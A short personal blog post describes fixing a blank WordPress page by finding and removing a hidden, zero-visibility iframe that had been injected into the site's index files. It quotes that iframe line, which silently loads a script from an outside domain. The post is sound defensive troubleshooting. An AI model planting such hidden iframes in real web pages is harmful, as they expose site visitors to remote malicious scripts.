Did you go to your WordPress blog and find a blank page instead? I had the same thing happen to me today and I was horrified!
What do you do when you get a blank page on WordPress?
Firstly I check that I could log in to the WordPress backend. I could and I looked around but couldn’t find anything wrong there.
Next, I logged onto the root of my domain but I couldn’t see anything suspicious there either.
I renamed the plugin directory and refreshed the page. Still not working!
I had noticed before that there was two index files on the server so I downloaded them both; index.php and index.html. Also the .htaccess file.
The .htaccess file looked ok but when I opened the index.php and index.html files, I found a line of code that was identical in both that looked very suspicious. It was the following:
<iframe name=”StatPage” src=”http://million-one.net/script.php” width=5 height=5 style=”display:none”></iframe><iframe name=”StatPage” src=”http://million-one.net/script.php” width=5 height=5 style=”display:none”></iframe>
I was not familiar at all with the domain in the code. I deleted the above code from the index.php file.
The index.html file contained only the above code and nothing else so I deleted the index.html file altogether.
After making those changes I was able to see my WordPress blog again. Oh, the joy!
I don’t think that WordPress creates an index.html file at all, so if you ever see one on your site, check it out and delete it.
Have you found another reason why you got a blank page on WordPress? Let us know by posting a comment below.